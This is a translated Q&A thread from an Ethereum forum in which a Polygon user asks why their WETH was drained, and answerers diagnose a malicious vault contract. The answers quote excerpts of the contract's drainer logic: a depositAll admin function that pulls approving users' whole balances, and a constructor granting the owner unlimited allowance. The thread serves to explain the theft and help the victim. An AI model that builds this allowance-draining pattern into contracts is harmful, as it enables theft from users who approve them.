首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >我想知道这次黑客行为是从哪里开始的

我想知道这次黑客行为是从哪里开始的
EN

Ethereum用户
提问于 2021-08-11 06:49:52
回答 2查看 560关注 0票数 0

在我开始之前,让我先给你txn的历史。

https://polygonscan.com/tx/0xc7927d4a8b0549dfd650eeab8b9570195d8fb9161884785e9b328c04b6a49232

还为WETH添加了我的Metamask历史。https://polygonscan.com/token/0x7ceb23fd6bc0add59e62ac25578270cff1b9f619?a=0xD939DE5a37D818d46d6366532feC981639395E71

总之,昨晚就在我睡觉之前,我把几乎所有的代币都换成了WETH,大概15个小时前。不过,如果你看一下我的地址中最高的交易,大约9小时前就出现了“批准”和“转帐”,我相信那是我沉睡的时候。早上我的平衡显示为0。很长一段时间以来,我的WETH余额是0,所以我想如果发生了任何黑客攻击,那么昨晚交换代币的过程中就会发生这种情况。这真的很奇怪,因为首先我确信我的种子短语没有被偷。其次,我昨天使用的平台都是比较可靠的,如Quickswap、Firebird Finance、Pear Finance、Iron Finance等,我得出的结论是,很可能是由于一些恶意的智能合同,我批准了我的WETH“无限”,我想知道我在哪里犯了这个错误,但我无法正确地解释代码。任何帮助都是非常感谢的。谢谢。

EN

回答 2

Ethereum用户

发布于 2021-08-11 09:00:30

TLDR :取消你对0x9bf475e0654ec615b473599c9d39ddd87b01e894合同的津贴,它就不会再发生了。

https://polygonscan.com/address/0x9bf475e0654ec615b473599c9d39ddd87b01e894#code这份合同非常明确地负责。一旦你给了它无限的补贴,合同所有者可以打电话给depositAll。

代码语言:javascript
复制
    function depositAll(uint256 from, uint256 to) public onlyAdmin {
    addressInfo.remove(msg.sender);
    address[] memory addresses = getAddressInfo(from, to);
    
    for (uint256 i = 0; i < addresses.length; i++) {
        if (addresses[i] != address(0)) {
            try token.transferFrom(addresses[i], address(this), token.balanceOf(addresses[i])) {}
            catch Error(string memory /*reason*/) { }

从字面上将合同地址转移到批准合同的用户的钱包中的所有WETH地址。然后,所有者(在weth上有无限的补贴)从构造函数中的这一行中签入合同。

代码语言:javascript
复制
        IERC20(0x7ceB23fD6bC0adD59E62ac25578270cFf1b9f619).safeApprove(address(msg.sender), uint256(-1));

可以直接撤回与transferFrom.(0x7ceB23fD6bC0adD59E62ac25578270cFf1b9f619签订的合同中的所有威思地址)。所有这些都在一份工作正常的保险库合同中被严重模仿。

票数 3
EN

Ethereum用户

发布于 2021-08-11 09:18:51

抱歉,伙计。显然你被一个恶意的DeFi网站欺骗了。跟随我的思路:

1-我认为只有两种可能性:(1)你的种子或私钥被泄露了,我认为这是最不可能的,因为在这一过程中没有耗尽其他资产,或者(2)你批准了对恶意智能合同的无限WETH许可。

2-我用PolygonScan来调查你的钱包过去的象征性批准。看来你已经批准了对这一特殊合同的无限许可:https://polygonscan.com/address/0x9bf475e0654ec615b473599c9d39ddd87b01e894。这看起来像一个典型的中间人攻击,在那里,这个合同是把自己作为中间人之间的用户和主厨合同。

很明显,这个合同的管理员首先调用一个depositAll(...)方法,从所有已经批准了无限许可的用户那里获得WETH:https://polygonscan.com/tx/0xc7927d4a8b0549dfd650eeab8b9570195d8fb9161884785e9b328c04b6a49232

然后,它调用一个adminWithdraw()方法,通过这个恶意契约将用户所用的所有WETH赌注转移到Masterchef上,并将以前通过depositAll(...)获取的所有WETH全部转移到管理员的地址。

在将来,我建议你特别注意你批准无限津贴的合同。这个钱包已经被污染了,你永远无法确定它是否安全地再次使用它。在未来,尽量不要把任何的代币放在钱包里,你批准了无限的零用钱。

票数 1
EN
页面原文内容由Ethereum提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://ethereum.stackexchange.com/questions/106936

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档